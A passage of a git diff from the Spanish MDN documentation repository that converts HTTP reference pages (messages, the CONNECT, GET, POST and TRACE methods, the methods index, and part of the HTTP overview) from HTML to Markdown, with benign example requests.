por ejemplo: `HTTP/1.1 404 Not Found.` + +### Cabeceras + +Las [cabeceras HTTP](/es/docs/Web/HTTP/Headers) para respuestas siguen también la misma estructura como cualquier otra cabecera: una cadena de texto, que no diferencia entre mayusculas y minúsculas, seguida por dos puntos (`':'`) y un valor cuya estructura depende del tipo de cabecera. Toda la cabecera incluido su valor, se ha de expresar en una única línea. + +Existen varias cabeceras posibles. Estas se puede dividir en distintos grupos: + +- _Cabeceras generales,_ ('_General headers_' en inglés), como {{HTTPHeader("Via")}}, afectan al mensaje completo. +- Cabeceras de petición, ('_Request headers_' en inglés), como {{HTTPHeader("Vary")}} , {{HTTPHeader("Accept-Ranges")}}, dan información adicional sobre el servidor, que no tiene espacio en la línea de estado. +- _Cabeceras de entidad, ('Entity headers'_ en ingles), como {{HTTPHeader("Content-Length")}} las cuales se aplican al cuerpo de la petición. Por supuesto, esta cabecera no necesita ser transmitida si el mensaje no tiene cuerpo ('_body_' en inglés). + +\*![Example of headers in an HTTP response](https://mdn.mozillademos.org/files/13823/HTTP_Response_Headers2.png) + +### Cuerpo + +La última parte del mensaje de respuesta el es 'cuerpo'. No todas las respuestas tienen uno, respuestas con un código de estado como {{HTTPStatus("201")}} o {{HTTPStatus("204")}} normalmente prescinden de él. + +De forma general, los cuerpos se pueden diferenciar en tres categorias: + +- Cuerpos con un único dato, consisten en un simple archivo, de longitud conocida y definido en las cabeceras: {{HTTPHeader("Content-Type")}} y {{HTTPHeader("Content-Length")}}. +- Cuerpos con un único dato, consisten en un simple archivo, de longitud desconocida, y codificado en partes, indicadas con {{HTTPHeader("Transfer-Encoding")}} valor `chunked` (que significa: 'partido' en inglés). +- [Cuerpos con múltiples datos](/es/docs/Web/HTTP/Basics_of_HTTP/MIME_types#multipartform-data), consisten de varios datos, cada uno con una sección distinta de información. Este caso es relativamente raro y poco común. + +## Tramas HTTP/2 + +Los mensajes HTTP/1.x tienen algunas desventajas por su no muy alta eficiencia en la transmisión. + +- Las cabeceras, al contrario de los cuerpos, no se comprimen. +- Las cabeceras, habitualmente se repiten de un mensaje al siguiente, aún así, la cabecera se repite en todos los mensajes. +- No se puede multiplexar. Se han de abrir varias conexiones para el mismo servidor, las conexiones TCP 'en caliente' ('_warm TCP connections_' en inglés) son más eficientes que las conexiones 'en frio'. + +HTTP/2 introduce un paso extra: divide los mensajes HTTP/1.x en tramas que integra en un flujo de datos. Los datos y las tramas de las cabeceras, se separan, esto permite la compresión de las cabeceras. Varios flujos de datos pueden combinarse juntos, y entonces se puede usar un procedimiento de multiplexación, permitiendo un uso más eficiente, de las conexiónes TCP. + +![HTTP/2 modify the HTTP message to divide them in frames (part of a single stream), allowing for more optimization.](https://mdn.mozillademos.org/files/13819/Binary_framing2.png) + +Las tramas HTTP son trasnparentes para los desarrolladores Web. Este paso adicional en HTTP/2, de los mensajes HTTP/1.0 y el protocolo por debajo. No son necesarios cambios en las APIs usadas por los desarrolladores Web para utilizar estas tramas HTTP, cuando las usan ambos: servidor y navegador. + +## Conclusión + +Los mensajes HTTP son la clave para usar HTTP; su estructura es sencilla y son fácilmente ampliables. El protocolo HTTP/2 añade un mecanismo de tramas y una capa intermedia entre la sintaxis de HTTP/1.x y su protocolo inferior, sin modificarlo radicalmente: se construye sobre mecanismos de transmisión probados. diff --git a/files/es/web/http/methods/connect/index.html b/files/es/web/http/methods/connect/index.html deleted file mode 100644 index afc2771a0b4c24..00000000000000 --- a/files/es/web/http/methods/connect/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: CONNECT -slug: Web/HTTP/Methods/CONNECT -tags: - - HTTP - - Método de petición -translation_of: Web/HTTP/Methods/CONNECT ---- -

{{HTTPSidebar}}

- -

El método HTTP CONNECT inicia la comunicación en dos caminos con la fuente del recurso solicitado. Puede ser usado para abrir una comunicación tunel.

- -

Por ejemplo, el método CONNECT puede ser usado para acceder a sitios web que usan {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). El cliente realiza la petición al Servidor Proxy HTTP para establecer una conexión tunel hacia un destino deseado. Entonces el servidor Proxy procede a realizar la conexión en nombre del cliente, una vez establecida la conexión con el servidor deseado, el servidor Proxy envía los datos desde y hacia el cliente.

- -

El método CONNECT es un método de salto entre servidores.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Contiene cuerpo la peticiónNo
La respuesta exitosa contiene cuerpoSi
{{Glossary("Safe")}}No
{{Glossary("Idempotent")}}No
{{Glossary("Cacheable")}}No
Permitido en formas HTMLNo
- -

Sintaxis

- -
CONNECT www.example.com:443 HTTP/1.1
-
- -

Ejemplo

- -

Algunos servidores proxy pueden necesitar autorización para crear tuneles. Consulta el encabezado {{HTTPHeader("Proxy-Authorization")}} .

- -
CONNECT server.example.com:80 HTTP/1.1
-Host: server.example.com:80
-Proxy-Authorization: basic aGVsbG86d29ybGQ=
- -

Especificaciones

- - - - - - - - - - - - -
SpecificaciónTítulo
{{RFC("7231", "CONNECT", "4.3.6")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilidad entre navegadores

- -

{{Compat("http.methods.CONNECT")}}

- -

Ver también

- -
    -
  • {{Glossary("Proxy server")}}
    • -
  • {{HTTPHeader("Proxy-Authorization")}}
    • -
diff --git a/files/es/web/http/methods/connect/index.md b/files/es/web/http/methods/connect/index.md new file mode 100644 index 00000000000000..3f2d0b185891aa --- /dev/null +++ b/files/es/web/http/methods/connect/index.md @@ -0,0 +1,52 @@ +--- +title: CONNECT +slug: Web/HTTP/Methods/CONNECT +tags: + - HTTP + - Método de petición +translation_of: Web/HTTP/Methods/CONNECT +--- +{{HTTPSidebar}} + +El método **HTTP `CONNECT` **inicia la comunicación en dos caminos con la fuente del recurso solicitado. Puede ser usado para abrir una comunicación tunel. + +Por ejemplo, el método `CONNECT` puede ser usado para acceder a sitios web que usan {{Glossary("SSL")}} ({{Glossary("HTTPS")}}). El cliente realiza la petición al Servidor Proxy HTTP para establecer una conexión tunel hacia un destino deseado. Entonces el servidor Proxy procede a realizar la conexión en nombre del cliente, una vez establecida la conexión con el servidor deseado, el servidor Proxy envía los datos desde y hacia el cliente. + +El método `CONNECT` es un método de salto entre servidores. + +| Contiene cuerpo la petición | No | +| --------------------------------------------------------- | --- | +| La respuesta exitosa contiene cuerpo | Si | +| {{Glossary("Safe")}} | No | +| {{Glossary("Idempotent")}} | No | +| {{Glossary("Cacheable")}} | No | +| Permitido en [formas HTML](/es/docs/Web/Guide/HTML/Forms) | No | + +## Sintaxis + + CONNECT www.example.com:443 HTTP/1.1 + +## Ejemplo + +Algunos servidores proxy pueden necesitar autorización para crear tuneles. Consulta el encabezado {{HTTPHeader("Proxy-Authorization")}} . + +```html +CONNECT server.example.com:80 HTTP/1.1 +Host: server.example.com:80 +Proxy-Authorization: basic aGVsbG86d29ybGQ= +``` + +## Especificaciones + +| Specificación | Título | +| ------------------------------------------------ | ------------------------------------------------------------- | +| {{RFC("7231", "CONNECT", "4.3.6")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | + +## Compatibilidad entre navegadores + +{{Compat("http.methods.CONNECT")}} + +## Ver también + +- {{Glossary("Proxy server")}} +- {{HTTPHeader("Proxy-Authorization")}} diff --git a/files/es/web/http/methods/get/index.html b/files/es/web/http/methods/get/index.html deleted file mode 100644 index 5b9f8aea5f6397..00000000000000 --- a/files/es/web/http/methods/get/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: GET -slug: Web/HTTP/Methods/GET -translation_of: Web/HTTP/Methods/GET ---- -
{{HTTPSidebar}}
- -

El método HTTP GET solicita una representación del recurso especificado. Las solicitudes que usan GET solo deben usarse para recuperar datos (no deben incluir datos).

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Petición con cuerpoNo
Respuesta válida con cuerpoSí
{{Glossary("Seguro")}}Sí
{{Glossary("idempotente")}}Sí
{{Glossary("Cacheable")}}Sí
Permitido en HTML formsSí
- -

Sintaxis

- -
GET /index.html
-
- -

Especificaciones

- - - - - - - - - - - - -
EspecificaciónTítulo
{{RFC("7231", "GET", "4.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilidad con Navegadores

- - - -

{{Compat("http.methods.GET")}}

- -

Ver también

- -
    -
  • {{HTTPHeader("Range")}}
    • -
diff --git a/files/es/web/http/methods/get/index.md b/files/es/web/http/methods/get/index.md new file mode 100644 index 00000000000000..0599ce7a1b4c0a --- /dev/null +++ b/files/es/web/http/methods/get/index.md @@ -0,0 +1,34 @@ +--- +title: GET +slug: Web/HTTP/Methods/GET +translation_of: Web/HTTP/Methods/GET +--- +{{HTTPSidebar}} + +El método HTTP **`GET` **solicita una representación del recurso especificado. Las solicitudes que usan **`GET`** solo deben usarse para recuperar datos (no deben incluir datos). + +| Petición con cuerpo | No | +| ------------------------------------ | --- | +| Respuesta válida con cuerpo | Sí | +| {{Glossary("Seguro")}} | Sí | +| {{Glossary("idempotente")}} | Sí | +| {{Glossary("Cacheable")}} | Sí | +| Permitido en HTML forms | Sí | + +## Sintaxis + + GET /index.html + +## Especificaciones + +| Especificación | Título | +| ---------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "GET", "4.3.1")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | + +## Compatibilidad con Navegadores + +{{Compat("http.methods.GET")}} + +## Ver también + +- {{HTTPHeader("Range")}} diff --git a/files/es/web/http/methods/index.html b/files/es/web/http/methods/index.html deleted file mode 100644 index 337905da0c6dca..00000000000000 --- a/files/es/web/http/methods/index.html +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Métodos de petición HTTP -slug: Web/HTTP/Methods -translation_of: Web/HTTP/Methods ---- -
{{HTTPSidebar}}
- -

HTTP define un conjunto de métodos de petición para indicar la acción que se desea realizar para un recurso determinado. Aunque estos también pueden ser sustantivos, estos métodos de solicitud a veces son llamados HTTP verbs. Cada uno de ellos implementan una semántica diferente, pero algunas características similares son compartidas por un grupo de ellos: ej. un request method puede ser {{glossary("safe")}}, {{glossary("idempotent")}}, o {{glossary("cacheable")}}.

- -
-
GET
-
El método GET solicita una representación de un recurso específico. Las peticiones que usan el método GET sólo deben recuperar datos.
-
HEAD
-
El método HEAD pide una respuesta idéntica a la de una petición GET, pero sin el cuerpo de la respuesta.
-
POST
-
El método POST se utiliza para enviar una entidad a un recurso en específico, causando a menudo un cambio en el estado o efectos secundarios en el servidor.
-
PUT
-
-

El modo PUT reemplaza todas las representaciones actuales del recurso de destino con la carga útil de la petición.

-
-
DELETE
-
El método DELETE borra un recurso en específico.
-
CONNECT
-
-

El método CONNECT establece un túnel hacia el servidor identificado por el recurso.

-
-
OPTIONS
-
El método OPTIONS es utilizado para describir las opciones de comunicación para el recurso de destino.
-
TRACE
-
-

El método TRACE realiza una prueba de bucle de retorno de mensaje a lo largo de la ruta al recurso de destino.

-
-
PATCH
-
El método PATCH es utilizado para aplicar modificaciones parciales a un recurso.
-
- -

Especificaciones

- - - - - - - - - - - - - - - - - - - -
EspecificaciónTítuloComentario
{{RFC("7231", "Métodos de petición", "4")}}Protocolo de Transferencia de HiperTexto (HTTP/1.1): Semánticas y ContenidoEspecifica GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE.
{{RFC("5789", "Método Patch", "2")}}Método PATCH para HTTPEspecifica PATCH.
- -

Compatibilidad del navegador

- - - -

{{Compat("http/methods")}}

- -

Ver también

- - diff --git a/files/es/web/http/methods/index.md b/files/es/web/http/methods/index.md new file mode 100644 index 00000000000000..ea23fa68cb504f --- /dev/null +++ b/files/es/web/http/methods/index.md @@ -0,0 +1,42 @@ +--- +title: Métodos de petición HTTP +slug: Web/HTTP/Methods +translation_of: Web/HTTP/Methods +--- +{{HTTPSidebar}} + +HTTP define un conjunto de **métodos de petición** para indicar la acción que se desea realizar para un recurso determinado. Aunque estos también pueden ser sustantivos, estos métodos de solicitud a veces son llamados _HTTP verbs_. Cada uno de ellos implementan una semántica diferente, pero algunas características similares son compartidas por un grupo de ellos: ej. un _request method_ puede ser {{glossary("safe")}}, {{glossary("idempotent")}}, o {{glossary("cacheable")}}. + +- [`GET`](/en-US/docs/Web/HTTP/Methods/GET) + - : El método `GET` solicita una representación de un recurso específico. Las peticiones que usan el método `GET` sólo deben recuperar datos. +- [`HEAD`](/en-US/docs/Web/HTTP/Methods/HEAD) + - : El método `HEAD` pide una respuesta idéntica a la de una petición GET, pero sin el cuerpo de la respuesta. +- [`POST`](/en-US/docs/Web/HTTP/Methods/POST) + - : El método `POST` se utiliza para enviar una entidad a un recurso en específico, causando a menudo un cambio en el estado o efectos secundarios en el servidor. +- [`PUT`](/en-US/docs/Web/HTTP/Methods/PUT) + - : El modo `PUT` reemplaza todas las representaciones actuales del recurso de destino con la carga útil de la petición. +- [`DELETE`](/en-US/docs/Web/HTTP/Methods/DELETE) + - : El método `DELETE` borra un recurso en específico. +- [`CONNECT`](/en-US/docs/Web/HTTP/Methods/CONNECT) + - : El método `CONNECT` establece un túnel hacia el servidor identificado por el recurso. +- [`OPTIONS`](/en-US/docs/Web/HTTP/Methods/OPTIONS) + - : El método `OPTIONS` es utilizado para describir las opciones de comunicación para el recurso de destino. +- [`TRACE`](/en-US/docs/Web/HTTP/Methods/TRACE) + - : El método `TRACE` realiza una prueba de bucle de retorno de mensaje a lo largo de la ruta al recurso de destino. +- [`PATCH`](/en-US/docs/Web/HTTP/Methods/PATCH) + - : El método `PATCH` es utilizado para aplicar modificaciones parciales a un recurso. + +## Especificaciones + +| Especificación | Título | Comentario | +| ------------------------------------------------------------ | --------------------------------------------------------------------------- | ----------------------------------------------------------------- | +| {{RFC("7231", "Métodos de petición", "4")}} | Protocolo de Transferencia de HiperTexto (HTTP/1.1): Semánticas y Contenido | Especifica GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE. | +| {{RFC("5789", "Método Patch", "2")}} | Método PATCH para HTTP | Especifica PATCH. | + +## Compatibilidad del navegador + +{{Compat("http/methods")}} + +## Ver también + +- [HTTP headers](/es/docs/Web/HTTP/Headers) diff --git a/files/es/web/http/methods/post/index.html b/files/es/web/http/methods/post/index.html deleted file mode 100644 index 2a0763c0118f89..00000000000000 --- a/files/es/web/http/methods/post/index.html +++ /dev/null @@ -1,124 +0,0 @@ ---- -title: POST -slug: Web/HTTP/Methods/POST -tags: - - HTTP - - Metodo de pedido - - Referencia -translation_of: Web/HTTP/Methods/POST ---- -
{{HTTPSidebar}}
- -
El método HTTP POST envía datos al servidor. El tipo del cuerpo de la solicitud es indicada por la cabecera {{HTTPHeader("Content-Type")}}.
- - - -
La diferencia entre PUT y {{HTTPMethod("POST")}} es que PUT es idempotente: llamarlo una o varias veces sucesivamente tiene el mismo efecto (no tiene efecto secundario // colateral), mientras que varios POST idénticos pueden tener efectos adicionales, como pasar una orden muchas veces.
- - - -

Una solicitud POST es tipicamente enviada por un formulario HTML y resulta en un cambio en el servidor. En este caso, el tipo de contenido es seleccionado poniendo la cadena de texto adecuada en el atributo {{htmlattrxref("enctype", "form")}} del elemento {{HTMLElement("form")}} o el atributo {{htmlattrxref("formenctype", "input")}} de los elementos {{HTMLElement("input") }} o {{HTMLElement("button")}} :

- -
    -
  • application/x-www-form-urlencoded: Los valores son codificados en tuplas llave-valor separadas por '&', con un '=' entre la llave y el valor. Caracteres no-Alfanumericos en ambas (llaves, valores) son {{glossary("percent encoded")}}: Esta es la razón por la cual este tipo no es adecuado para usarse con datos binarios (use multipart/form-data en su lugar)
    • -
  • multipart/form-data: Cada valor es enviado como un dato de bloque ("input de un formulario"), con un delimitador como separador definido por el usuario ("espacio entre campos"). Éstas llaves son colocadas en el Content-Disposition , la cual es cómo está estructurada cada parte del HEADER en una petición HTTP
    • -
  • text/plain
    • -
- -

Cuando la solicitud POST es enviada por otro método distinto a un formulario HTML — por ejemplo mediante una {{domxref("XMLHttpRequest")}} — el cuerpo puede aceptar cualquier tipo. Como se describe en la especificación HTTP 1.1, el método POST está diseñado para permitir un método uniforme que cubra las siguientes funciones:

- -
    -
  • Modificación de recursos existentes.
    • -
  • Publicar un mensaje en un tablón de anuncios, grupo de noticias, lista de correos, o grupos similares de artículos;
    • -
  • Agregar un nuevo usuario a través de un modal de suscripciones;
    • -
  • Proveer un conjunto de datos, como resultado del envío de un formulario, a un proceso data-handling.
    • -
  • Extender una base de datos a través de una operación de concatenación.
    • -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Pedir como cuerpoSí
Respuesta válida como cuerpoSí
{{Glossary("Seguro")}}No
{{Glossary("Idempotente")}}No
{{Glossary("Cacheable")}}Sólo si incluye nueva información
Permitido en HTML formsSí
- -

Sintaxis

- -
POST /index.html
-
- -

Ejemplo

- -

Un formulario simple empleando el tipo de contenido por defecto application/x-www-form-urlencoded:

- -
POST / HTTP/1.1
-Host: foo.com
-Content-Type: application/x-www-form-urlencoded
-Content-Length: 13
-
-say=Hi&to=Mom
- -

Un formulario usando el tipo de contenido multipart/form-data:

- -
POST /test.html HTTP/1.1
-Host: example.org
-Content-Type: multipart/form-data;boundary="boundary"
-
---boundary
-Content-Disposition: form-data; name="field1"
-
-value1
---boundary
-Content-Disposition: form-data; name="field2"; filename="example.txt"
-
-value2
- -

Especificaciones

- - - - - - - - - - - - -
SpecificationTitle
{{RFC("7231", "POST", "4.3.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- - - -

{{Compat("http.methods.POST")}}

- -

Ver también

- -
    -
  • {{HTTPHeader("Content-Type")}}
    • -
  • {{HTTPHeader("Content-Disposition")}}
    • -
- -
diff --git a/files/es/web/http/methods/post/index.md b/files/es/web/http/methods/post/index.md new file mode 100644 index 00000000000000..739ae35de358a6 --- /dev/null +++ b/files/es/web/http/methods/post/index.md @@ -0,0 +1,79 @@ +--- +title: POST +slug: Web/HTTP/Methods/POST +tags: + - HTTP + - Metodo de pedido + - Referencia +translation_of: Web/HTTP/Methods/POST +--- +{{HTTPSidebar}}El **método** **HTTP `POST` **envía datos al servidor. El tipo del cuerpo de la solicitud es indicada por la cabecera {{HTTPHeader("Content-Type")}}.La diferencia entre `PUT` y {{HTTPMethod("POST")}} es que `PUT` es idempotente: llamarlo una o varias veces sucesivamente tiene el mismo efecto (no tiene efecto secundario // colateral), mientras que varios `POST` idénticos pueden tener efectos adicionales, como pasar una orden muchas veces. + +Una solicitud `POST` es tipicamente enviada por un [formulario HTML](/es/docs/Web/Guide/HTML/Forms) y resulta en un cambio en el servidor. En este caso, el tipo de contenido es seleccionado poniendo la cadena de texto adecuada en el atributo* {{htmlattrxref("enctype", "form")}} del elemento {{HTMLElement("form")}} o el atributo {{htmlattrxref("formenctype", "input")}} de los elementos {{HTMLElement("input") }} o \_\_{{HTMLElement("button")}} :* + +- `application/`_`x-www-form-urlencoded`: Los valores son codificados en tuplas llave-valor separadas por `'&'`, con un `'='` entre la llave y el valor. Caracteres no-Alfanumericos en ambas (llaves, valores) son {{glossary("percent encoded")}}: Esta es la razón por la cual este tipo no es adecuado para usarse con datos binarios (use `multipart/form-data` en su lugar)_ +- `multipart/form-data`_: Cada valor es enviado como un dato de bloque ("input de un formulario"), con un delimitador como separador definido por el usuario ("espacio entre campos"). Éstas llaves son colocadas en el Content-Disposition , la cual es cómo está estructurada cada parte del HEADER en una petición HTTP_ +- _`text/plain`_ + +Cuando la solicitud `POST` es enviada por otro método distinto a un formulario HTML — por ejemplo mediante una {{domxref("XMLHttpRequest")}} — el cuerpo puede aceptar cualquier tipo. Como se describe en la especificación HTTP 1.1, el método `POST` está diseñado para permitir un método uniforme que cubra las siguientes funciones: + +- Modificación de recursos existentes. +- Publicar un mensaje en un tablón de anuncios, grupo de noticias, lista de correos, o grupos similares de artículos; +- Agregar un nuevo usuario a través de un modal de suscripciones; +- Proveer un conjunto de datos, como resultado del envío de un formulario, a un proceso data-handling. +- Extender una base de datos a través de una operación de concatenación. + +| Pedir como cuerpo | Sí | +| -------------------------------------------------------- | --------------------------------- | +| Respuesta válida como cuerpo | Sí | +| {{Glossary("Seguro")}} | No | +| {{Glossary("Idempotente")}} | No | +| {{Glossary("Cacheable")}} | Sólo si incluye nueva información | +| Permitido en [HTML forms](/es/docs/Web/Guide/HTML/Forms) | Sí | + +## Sintaxis + + POST /index.html + +## Ejemplo + +Un formulario simple empleando el tipo de contenido por defecto `application/x-www-form-urlencoded`: + +```html +POST / HTTP/1.1 +Host: foo.com +Content-Type: application/x-www-form-urlencoded +Content-Length: 13 + +say=Hi&to=Mom +``` + +Un formulario usando el tipo de contenido `multipart/form-data`: + + POST /test.html HTTP/1.1 + Host: example.org + Content-Type: multipart/form-data;boundary="boundary" + + --boundary + Content-Disposition: form-data; name="field1" + + value1 + --boundary + Content-Disposition: form-data; name="field2"; filename="example.txt" + + value2 + +## Especificaciones + +| Specification | Title | +| -------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "POST", "4.3.3")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | + +## Navegadores compatibles + +{{Compat("http.methods.POST")}} + +## Ver también + +- {{HTTPHeader("Content-Type")}} +- {{HTTPHeader("Content-Disposition")}} diff --git a/files/es/web/http/methods/trace/index.html b/files/es/web/http/methods/trace/index.html deleted file mode 100644 index 73b72ae2b92957..00000000000000 --- a/files/es/web/http/methods/trace/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: TRACE -slug: Web/HTTP/Methods/TRACE -translation_of: Web/HTTP/Methods/TRACE ---- -
{{HTTPSidebar}}
- -

El método HTTP TRACE efectúa una prueba de bucle de mensaje por el camino al recurso objetivo proporcionando un útil mecanismo de debugging.

- -

El destino final de la petición debería devolver el mensaje recibido, excluyendo algunos de los campos descritos abajo, de vuelta al cliente como el mensaje body y una respuesta 200 (OK) con un {{httpheader("Content-Type")}} de message/http. El destinatario final es o el servidor de origen o el primer servidor en recibir un {{httpheader("Max-Forwards")}} de valor 0 en la petición.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Request has bodyNo
Successful response has bodyNo
{{Glossary("Safe")}}Yes
{{Glossary("Idempotent")}}Yes
{{Glossary("Cacheable")}}No
Allowed in HTML formsNo
- -

Sintaxis

- -
TRACE /index.html
-
- -

Especificaciones

- - - - - - - - - - - - - - -
SpecificationTitle
{{RFC("7231", "TRACE", "4.3.8")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
- -

Compatibilidad con Buscadores

- -

{{Compat("http.methods.TRACE")}}

- -

Ver también

- - - -

diff --git a/files/es/web/http/methods/trace/index.md b/files/es/web/http/methods/trace/index.md new file mode 100644 index 00000000000000..0067fe4e34af1e --- /dev/null +++ b/files/es/web/http/methods/trace/index.md @@ -0,0 +1,36 @@ +--- +title: TRACE +slug: Web/HTTP/Methods/TRACE +translation_of: Web/HTTP/Methods/TRACE +--- +{{HTTPSidebar}} + +El **método HTTP `TRACE` **efectúa una prueba de bucle de mensaje por el camino al recurso objetivo proporcionando un útil mecanismo de debugging. + +El destino final de la petición debería devolver el mensaje recibido, excluyendo algunos de los campos descritos abajo, de vuelta al cliente como el mensaje body y una respuesta 200 (OK) con un {{httpheader("Content-Type")}} de `message/http`. El destinatario final es o el servidor de origen o el primer servidor en recibir un {{httpheader("Max-Forwards")}} de valor 0 en la petición. + +| Request has body | No | +| ------------------------------------ | --- | +| Successful response has body | No | +| {{Glossary("Safe")}} | Yes | +| {{Glossary("Idempotent")}} | Yes | +| {{Glossary("Cacheable")}} | No | +| Allowed in HTML forms | No | + +## Sintaxis + + TRACE /index.html + +## Especificaciones + +| Specification | Title | +| -------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7231", "TRACE", "4.3.8")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | + +## Compatibilidad con Buscadores + +{{Compat("http.methods.TRACE")}} + +## Ver también + +- [HTTP methods](/es/docs/Web/HTTP/Methods) diff --git a/files/es/web/http/overview/index.html b/files/es/web/http/overview/index.html deleted file mode 100644 index be592fbc08cecf..00000000000000 --- a/files/es/web/http/overview/index.html +++ /dev/null @@ -1,172 +0,0 @@ ---- -title: Generalidades del protocolo HTTP -slug: Web/HTTP/Overview -tags: - - HTML - - HTTP - - Mecánica Web - - Visión general -translation_of: Web/HTTP/Overview ---- -
{{HTTPSidebar}}
- -

HTTP, de sus siglas en inglés: "Hypertext Transfer Protocol", es el nombre de un protocolo el cual nos permite realizar una petición de datos y recursos, como pueden ser documentos {{glossary("HTML")}}. Es la base de cualquier intercambio de datos en la Web, y un protocolo de estructura cliente-servidor, esto quiere decir que una petición de datos es iniciada por el elemento que recibirá los datos (el cliente), normalmente un navegador Web. Así, una página web completa resulta de la unión de distintos sub-documentos recibidos, como, por ejemplo: un documento que especifique el estilo de maquetación de la página web ({{glossary("CSS")}}), el texto, las imágenes, vídeos, scripts, etc...

- -

A Web document is the composition of different resources

- -

Clientes y servidores se comunican intercambiando mensajes individuales (en contraposición a las comunicaciones que utilizan flujos continuos de datos). Los mensajes que envía el cliente, normalmente un navegador Web, se llaman peticiones, y los mensajes enviados por el servidor se llaman respuestas.

- -

HTTP as an application layer protocol, on top of TCP (transport layer) and IP (network layer) and below the presentation layer.Diseñado a principios de la década de 1990, {{glossary("HTTP")}} es un protocolo ampliable, que ha ido evolucionando con el tiempo. Es lo que se conoce como un protocolo de la capa de aplicación, y se transmite sobre el protocolo {{glossary("TCP")}}, o el protocolo encriptado {{glossary("TLS")}}, aunque teóricamente podría usarse cualquier otro protocolo fiable. Gracias a que es un protocolo capaz de ampliarse, se usa no solo para transmitir documentos de hipertexto ({{glossary("HTML")}}), si no que además, se usa para transmitir imágenes o vídeos, o enviar datos o contenido a los servidores, como en el caso de los formularios de datos. {{glossary("HTTP")}} puede incluso ser utilizado para transmitir partes de documentos, y actualizar páginas Web en el acto.

- -

Arquitectura de los sistemas basados en HTTP

- -

{{glossary("HTTP")}} es un protocolo basado en el principio de cliente-servidor: las peticiones son enviadas por una entidad: el agente del usuario (o un proxy a petición de uno). La mayoría de las veces el agente del usuario (cliente) es un navegador Web, pero podría ser cualquier otro programa, como por ejemplo un programa-robot, que explore la Web, para adquirir datos de su estructura y contenido para uso de un buscador de Internet.

- -

Cada petición individual se envía a un servidor, el cuál la gestiona y responde. Entre cada petición y respuesta, hay varios intermediarios, normalmente denominados {{glossary("Proxy_server", "proxies")}}, los cuales realizan distintas funciones, como: gateways o {{glossary("Cache", "caches")}}.

- -

Client server chain

- -

En realidad, hay más elementos intermedios, entre un navegador y el servidor que gestiona su petición: hay otros tipos de dispositivos: como routers, modems ... Es gracias a la arquitectura en capas de la Web, que estos intermediarios, son transparentes al navegador y al servidor, ya que {{glossary("HTTP")}} se apoya en los protocolos de red y transporte. {{glossary("HTTP")}} es un protocolo de aplicación, y por tanto se apoya sobre los anteriores. Aunque para diagnosticar problemas en redes de comunicación, las capas inferiores son irrelevantes para la definición del protocolo {{glossary("HTTP")}} .

- -

Cliente: el agente del usuario

- -

El agente del usuario, es cualquier herramienta que actué en representación del usuario. Esta función es realizada en la mayor parte de los casos por un navegador Web. Hay excepciones, como el caso de programas específicamente usados por desarrolladores para desarrollar y depurar sus aplicaciones.

- -

El navegador es siempre el que inicia una comunicación (petición), y el servidor nunca la comienza (hay algunos mecanismos que permiten esto, pero no son muy habituales).

- -

Para poder mostrar una página Web, el navegador envía una petición de documento {{glossary("HTML")}} al servidor. Entonces procesa este documento, y envía más peticiones para solicitar scripts, hojas de estilo ({{glossary("CSS")}}), y otros datos que necesite (normalmente vídeos y/o imágenes). El navegador, une todos estos documentos y datos, y compone el resultado final: la página Web. Los scripts, los ejecuta también el navegador, y también pueden generar más peticiones de datos en el tiempo, y el navegador, gestionará y actualizará la página Web en consecuencia.

- -

Una página Web, es un documento de hipertexto ({{glossary("HTTP")}}), luego habrá partes del texto en la página que puedan ser enlaces ({{glossary("link","links")}}) que pueden ser activados (normalmente al hacer click sobre ellos) para hacer una petición de una nueva página Web, permitiendo así dirigir su agente de usuario y navegar por la Web. El navegador, traduce esas direcciones en peticiones de HTTP, e interpretara y procesará las respuestas HTTP, para presentar al usuario la página Web que desea.

- -

El servidor Web

- -

Al otro lado del canal de comunicación, está el servidor, el cual "sirve" los datos que ha pedido el cliente. Un servidor conceptualmente es una unica entidad, aunque puede estar formado por varios elementos, que se reparten la carga de peticiones, (load balancing), u otros programas, que gestionan otros computadores (como cache, bases de datos, servidores de correo electrónico, ...), y que generan parte o todo el documento que ha sido pedido.

- -

Un servidor no tiene que ser necesariamente un único equipo físico, aunque si que varios servidores pueden estar funcionando en un único computador. En el estándar HTTP/1.1 y {{HTTPHeader("Host")}} , pueden incluso compartir la misma dirección de IP.

- -

Proxies

- -

Entre el cliente y el servidor, además existen distintos dispositivos que gestionan los mensajes HTTP. Dada la arquitectura en capas de la Web, la mayoria de estos dispositivos solamente gestionan estos mensajes en los niveles de protocolo inferiores: capa de transporte, capa de red o capa física, siendo así transparentes para la capa de comunicaciones de aplicación del HTTP, además esto aumenta el rendimiento de la comunicación. Aquellos dispositivos, que sí operan procesando la capa de aplicación son conocidos como proxies. Estos pueden ser transparentes, o no (modificando las peticiones que pasan por ellos), y realizan varias funciones:

- -
    -
  • caching (la caché puede ser pública o privada, como la caché de un navegador)
    • -
  • filtrado (como un anti-virus, control parental, ...)
    • -
  • balanceo de carga de peticiones (para permitir a varios servidores responder a la carga total de peticiones que reciben)
    • -
  • autentificación (para el control al acceso de recursos y datos)
    • -
  • registro de eventos (para tener un histórico de los eventos que se producen)
    • -
- -

Características clave del protocolo HTTP

- -

HTTP es sencillo

- -

